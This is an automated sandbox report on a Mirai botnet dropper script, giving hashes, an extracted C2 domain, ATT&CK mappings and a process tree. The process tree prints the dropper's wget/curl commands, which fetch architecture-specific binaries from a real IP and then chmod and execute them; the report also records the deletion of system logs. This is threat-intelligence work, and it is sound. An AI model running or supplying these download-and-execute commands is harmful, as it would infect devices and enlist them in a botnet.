mirai | b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96

Analysis

max time kernel
98s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20250619-en
resource tags

arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/05/2026, 12:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh.sh
Size 1KB
Sample260510-p4vkmsg131
SHA256 b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96
MD5 c5848645d69c2180bdb59c45e87cf5f1
SHA1 e6279666995951839971e13365e3d2d6c602c6a2
SHA512 7db9e56ba4db09673225ee77764d9ca17a3a9e725ce286685db683fea0a03c0ea344e42127f6714cc306ca9730ccae1f776c3a782306cab7edb3d3057be64bbe
TLSH
T1274113D916AD42792FEB5D27F2AD9449B18896A724C06E6E5DDC3CB4824CF042449F83
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

haven.mephedrone.nl

Extracted

Family

mirai

haven.mephedrone.nl

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Contacts a large (76108) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
796	chmod
753	chmod
766	chmod
776	chmod
782	chmod
787	chmod

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/audit/audit.log	wget

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	wget

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/wget	754	sh.sh
/tmp/wget	767	sh.sh
/tmp/wget	777	sh.sh
/tmp/wget	783	sh.sh
/tmp/wget	788	sh.sh
/tmp/wget	797	sh.sh

Deletes log files 1 TTPs 3 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/wtmp	wget
File deleted	/var/log/daemon.log	wget
File deleted	/var/log/auth.log	wget

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/usr/lib/systemd/systemd	797	wget
Changes the process name, possibly in an attempt to hide itself	networkd	798	wget

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
769	wget
772	curl
775	cat

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/debug.mips	wget
File opened for modification	/tmp/debug.arm4	curl
File opened for modification	/tmp/debug.arm5	curl
File opened for modification	/tmp/debug.x86_64	wget
File opened for modification	/tmp/wget	sh.sh
File opened for modification	/tmp/debug.x86_32	wget
File opened for modification	/tmp/debug.x86_32	curl
File opened for modification	/tmp/debug.mips	curl
File opened for modification	/tmp/debug.mpsl	curl
File opened for modification	/tmp/debug.arm5	wget
File opened for modification	/tmp/debug.x86_64	curl

/tmp/sh.sh
/tmp/sh.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:646
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_64
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/cat
  cat debug.x86_64
  2⤵
  PID:752
- /bin/chmod
  chmod +x debug.x86_64 sh.sh systemd-private-c8649c7e6d9d4ff28a6b76bf17fbb9d4-systemd-timedated.service-I2ixq2 wget
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/wget
  ./wget
  2⤵
  PID:754
- /usr/bin/wget
  wget http://216.9.225.23/debug.x86_32
  2⤵
  - Writes file to tmp directory
  PID:756
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.x86_32
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/cat
  cat debug.x86_32
  2⤵
  PID:765
- /bin/chmod
  chmod +x debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/wget
  ./wget
  2⤵
  PID:767
- /usr/bin/wget
  wget http://216.9.225.23/debug.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:769
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:772
- /bin/cat
  cat debug.mips
  2⤵
  - System Network Configuration Discovery
  PID:775
- /bin/chmod
  chmod +x debug.mips debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/wget
  ./wget
  2⤵
  PID:777
- /usr/bin/wget
  wget http://216.9.225.23/debug.mpsl
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat debug.mpsl
  2⤵
  PID:781
- /bin/chmod
  chmod +x debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/wget
  ./wget
  2⤵
  PID:783
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm4
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat debug.arm4
  2⤵
  PID:786
- /bin/chmod
  chmod +x debug.arm4 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/wget
  ./wget
  2⤵
  PID:788
- /usr/bin/wget
  wget http://216.9.225.23/debug.arm5
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://216.9.225.23/debug.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/cat
  cat debug.arm5
  2⤵
  PID:795
- /bin/chmod
  chmod +x debug.arm4 debug.arm5 debug.mips debug.mpsl debug.x86_32 debug.x86_64 sh.sh wget
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/wget
  ./wget
  2⤵
  - Deletes Audit logs
  - Deletes system logs
  - Deletes log files
  - Changes its process name
  PID:797

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

debug.x86_64

Path /tmp/debug.x86_64
Size 143KB
SHA256 2903832e570e9ae1d8d762008426e018af150d90465733bcc5c4b0c683cca249
MD5 7acdfe8c45cfdb19b7bb4b625182e56b
SHA1 b351894191ea69b0047cb0bd452132719c771977
SHA512 c3a5cd9104ce30c524924569764f4f941c69863e5be681d6a98adb220e3e8e1609bae1156d0093826a42a256ec71fcacc0dbe6cece117ccc2f79c8b507f8f9b0
SSDEEP 1536:+l7y+RLBIc6Qw/vvtIXOeRzZ6QJYFjq4/uXKkrQJ86Ydh4uIM2aqF33/3fJGel9h:/+lB/GmnR4WoJ8Nh4uUaqFvf7lwR3J
TLSH
T1BCE36B523AC180FDC549D1B81AEFA136D9A9F0BD2368764F37C0EE261C4DD604E79B92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 125KB
SHA256 27d62ffd5e6487f70520209221eb167827287d8f48cee58376b2a751335221cf
MD5 a45d67ae06271133661e1b729dcdfc77
SHA1 0f54ead21e583d54f44ab0a9fd6c49162fdea0f5
SHA512 1ac249cd181766a262b02a95fb10338a97586d1d3c342d5eceff4f933fafc75d5424c7e212fddc8cbfedebc16f53a4da4a53ab9391330c87523365c87ef678c5
SSDEEP 3072:dKoya3DgNc4gO07lfzlN7gUcJrvPrD8YdJVSQVzBp:Eoya3DgNc4gO0NxN72JbVSQVzBp
TLSH
T194C35C938313D5F6D8150931E037E736EAB9C52A512AED81E3ACDE34EC96E0285237DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 180KB
SHA256 af2d34521e18ecd22e03fba7c6594aa35b89df26da89f2849fe2b2f5e5473c39
MD5 a7e90db928258b33cf7eabba36c22ff0
SHA1 4c3adc00b41afd6a64954cd0218a179c21c1572d
SHA512 56aac3f21e92e87013512bdfdfc5a54026af0358115521dbb6578183e241bd9dcd8b326d27f9673a2b076257142ec399cbe54dc3c2ec2a9ea3c4c5ab8c042d19
SSDEEP 3072:onJGggY4z5iuMqqBq3tt0WBKC6GxCcM+Hv4888V7u4mNRBN5q:Hgqz5dMqqSaKCcvQyV7ujRBN5q
TLSH
T19304E75F6E225FADF36D833553B38A31A7A833C623E0C586E17CD5111EA034E552BBA4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 274B
SHA256 599addd902c48e0163d510f07b6b6c56079c107c2bdd0cac804989152375490b
MD5 f4d41155b7b45f01503381562d8f073a
SHA1 21b8d2c23ea2ccf95005aa63dff1807fd4b5aae6
SHA512 d626a48188165554fbdb3fc72e8fe8f30dab850d50100a3b65bdfbbc87508b8a12ce7024cc25894bd8511680f07067aee76ae07af7cc24346f07f931c73f57d6
TLSH
T146D02B9E505363874912186039C525D2264C13F6A43A85A86D86D48756A8A3ECD9A9C8
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /tmp/wget
Size 134KB
SHA256 186ccbf47d74bf9530b971ea56d0501e8a0aa273b3d806635a6694a9f6812e23
MD5 109387f311a5d7ed5d907fd4d72cf7f7
SHA1 1cc9db966ebbcdbfd0ca994f65b361761f72968c
SHA512 108f2541ffb5276c4194a5bfde2334bc62fb8816a9ef34a5d6d41a4de6d37d3bf1a1df9f63248f93307d5da1773fb90302d48df5aa05c564d214a3c4db8ef825
SSDEEP 3072:NDBzjJZ26oaBKPiW8M1UtSA8l4CTqcuyqBf:NDpjJZ2baBK2M1ESA8l/qcuyqBf
TLSH
T1C1D3399AFD529E06C5C606BBBA6F128C772913B4D3DB3103DD110F68778682B0E37A95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads